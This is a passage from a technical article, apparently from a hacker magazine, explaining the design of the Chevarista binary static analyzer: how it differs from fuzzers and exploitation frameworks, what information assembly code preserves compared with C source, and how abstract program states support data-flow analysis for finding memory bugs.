somewhat to fuzzing but the proposed implementation of the Chevarista analyzer is not a fuzzer. The first reason is that Chevarista does not execute the program for analyzing it. Instead, it acts like a (de)compiler but perform analysis instead of translating (back) to assembly (or source) code. It is thus much more efficient than fuzzing but require a lot of development and literature review for managing to have a complete automatic tool that every hacker dream to maintain. Another lost guy will support : "Your stuff looks more or less like an exploitation framework, its not so new". Exploitation frameworks are indeed not very new stuffs. None of them analyze for vulnerabilities, and actually only works if the built-in exploits are good enough. When the framework aims at letting you trigger exploits manually, then it is not an automated framework anymore. This is why Chevarista is not CORE-Impact or Metasploit : its an analyzer that find bugs in programs and tell you where they are. One more fat guy in the end of the room will be threatening: "It is simply not possible to find vulnerabilities in code without the source .." and then a lot of people will stand up and declare this as a prophecy, because its already sufficiently hard to do it on source code anyway. I would simply measure this judgment by several remarks: for some peoples, assembly code -is- source code, thus having the assembly is like having the source, without a certain number of information. That is this amount of lost information that we need to recover when writing a decompiler. First, we do not have the name of variables, but naming variables in a different way does not affect the result of a vulnerability analysis. Second, we do not have the types, but data types in compiled C programs do not really enforce properties about the variables values (because of C casts or a compiler lacking strong type checking). The only real information that is enforced is about variable size in memory, which is recoverable from an assembly program most of the time. This is not as true for C++ programs (or other programs written in higher level objects-oriented or functional languages), but in this article we will mostly focus on compiled C programs. A widely spread opinion about program analysis is that its harder to achieve on a low-level (imperative) language rather than a high-level (imperative) language. This is true and false, we need to bring more precision about this statement. Specifically, we want to compare the analysis of C code and the analysis of assembly code: --------------------------------------------------------------------- | Available information | C code | Assembly code | |---------------------------------------------------------------------| | Original variables names| Yes (explicit) | No | |---------------------------------------------------------------------| | Original types names | Yes (explicit) | No | |---------------------------------------------------------------------| | Control Sequentiality | Yes (explicit) | Yes (explicit) | |---------------------------------------------------------------------| | Structured control | Yes (explicit) | Yes (recoverable)| |---------------------------------------------------------------------| | Data dependencies | Yes (implicit) | Yes (implicit) | |---------------------------------------------------------------------| | Data Types | Yes (explicit) | Yes (recoverable)| |---------------------------------------------------------------------| | Register transfers | No | Yes (explicit) | |---------------------------------------------------------------------| | Selected instructions | No | Yes (explicit) | --------------------------------------------------------------------- Lets discuss those points more in details: - The control sequentiality is obviously kept in the assembly, else the processor would not know how to execute the binary program. However the binary program does not contain a clearly structured tree of execution. Conditionals, but especially, Loops, do not appear as such in the executable code. We need a preliminary analysis for structuring the control flow graph. This was done already on source and binary code using different algorithms that we do not present in this article. - Data dependencies are not explicit even in the source program, however we can compute it precisely both in the source code and the binary code. The data-flow analysis in the binary code however is slightly different, because it contains every single load and store between registers and the memory, not only at the level of variables, as done in the source program. Because of this, the assembly programs contains more instructions than source programs contain statements. This is an advantage and a disadvantage at the same time. It is an advantage because we can track the flow in a much more fine-grained fashion at the machine level, and that is what is necessary especially for all kind of optimizations, or machine-specific bugs that relies on a certain variable being either in the memory or in a register, etc. This is a disadvantage because we need more memory to analyze such bigger program listings. - Data types are explicit in the source program. Probably the recovery of types is the hardest information to recover from a binary code. However this has been done already and the approach we present in this paper is definitely compatible with existing work on type-based decompilation. Data types are much harder to recover when dealing with real objects (like classes in compiled C++ programs). We will not deal with the problem of recovering object classes in this article, as we focus on memory related vulnerabilities. - Register level anomalies can happen [DLB], which can be useful for a hacker to determine how to create a context of registers or memory when writing exploits. Binary-level code analysis has this advantage that it provides a tighter approach to exploit generation on real world existing targets. - Instruction level information is interested again to make sure we do not miss bugs from the compiler itself. Its very academically well respected to code a certified compiler which prove the semantic equivalence between source code and compiled code but for the hacker point of view, it does not mean so much. Concrete use in the wild means concrete code, means assembly. Additionally, it is rarer but it has been witnessed already some irregularities in the processor's execution of specific patterns of instructions, so an instruction level analyzer can deal with those, but a source level analyzer cannot. A last reason I would mention is that the source code of a project is very verbose. If a code analyzer is embedded into some important device, either the source code of the software inside the device will not be available, or the device will lack storage or communication bandwidth to keep an accessible copy of the source code. Binary code analyzer do not have this dependence on source code and can thus be used in a wider scope. To sum-up, there is a lot of information recovery work before starting to perform the source-like level analysis. However, the only information that is not available after recovery is not mandatory for analyzing code : the name of types and variables is not affecting the execution of a program. We will abstract those away from our analysis and use our own naming scheme, as presented in the next chapter of this article. -------------[ II. Preparation We have to go on the first wishes and try to understand better what vulnerabilities are, how we can detect them automatically, are we really capable to generate exploits from analyzing a program that we do not even execute ? The answer is yes and no and we need to make things clear about this. The answer is yes, because if you know exactly how to characterize a bug, and if this bug is detectable by any algorithm, then we can code a program that will reason only about those known-in-advance vulnerability specificities and convert the raw assembly (or source) code into an intermediate form that will make clear where the specificities happens, so that the "signature" of the vulnerability can be found if it is present in the program. The answer is no, because giving an unknown vulnerability, we do not know in advance about its specificities that characterize its signature. It means that we somewhat have to take an approximative signature and check the program, but the result might be an over-approximation (a lot of false positives) or an under-approximation (finds nothing or few but vulnerabilities exist without being detected). As fuzzing and black-box testing are dynamic analysis, the core of our analyzer is not as such, but it can find an interest to run the program for a different purpose than a fuzzer. Those try their chance on a randomly crafted input. Fuzzer does not have a *inner* knowledge of the program they analyze. This is a major issue because the dynamic analyzer that is a fuzzer cannot optimize or refine its inputs depending on what are unobservable events for him. A fuzzer can as well be coupled with a tracer [AD] or a debugger, so that fuzzing is guided by the debugger knowledge about internal memory states and variable values during the execution of the program. Nevertheless, the real concept of a code analysis tool must be an integrated solution, to avoid losing even more performance when using an external debugger (like gdb which is awfully slow when using ptrace). Our technique of analysis is capable of taking decisions depending on internal states of a program even without executing them. However, our representation of a state is abstract : we do not compute the whole content of the real memory state at each step of execution, but consider only the meaningful information about the behavior of the program by automatically letting the analyzer to annotate the code with qualifiers such as : "The next instruction of the will perform a memory allocation" or "Register R or memory cell M will contain a pointer on a dynamically allocated memory region". We will explain in more details heap related properties checking in the type-state analysis paragraph of Part III. In this part of the paper, we will describe a family of intermediate forms which bridge the gap between code analysis on a structured code, and code analysis on an unstructured (assembly) code. Conversion to those intermediate forms can be done from binary code (like in an analyzing decompiler) or from source code (like in an analyzing compiler). In this article, we will transform binary code into a program written in an intermediate form, and then perform all the analysis on this intermediate form. All the studies properties will be related to data-flow analysis. No structured control flow is necessary to perform those, a simple control flow graph (or even list of basic blocks with xrefs) can be the starting point of such analysis. Lets be more concrete a illustrate how we can analyze the internal states of a program without executing it. We start with a very basic piece of code: Stub 1: ------- o o : internal state if (a) / \ b++; -> o o /\ : control-flow splitting else \ / \/ : control-flow merging c--; o ------- In this simplistic example, we represent the program as a graph whose nodes are states and edges are control flow dependencies. What is an internal state ? If we want to use all the information of each line of code, we need to make it an object remembering which variables are used and modified (including status flags of the processors). Then, each of those control state perform certain operations before jumping on another part of the code (represented by the internal state for the if() or else() code stubs). Once the if/else code is finished, both paths merge into a unique state, which is the state after having executed the conditional statement. Depending how abstract is the analysis, the internal program states will track more or less requested information at each computation step. For example, once must differentiate a control-flow analysis (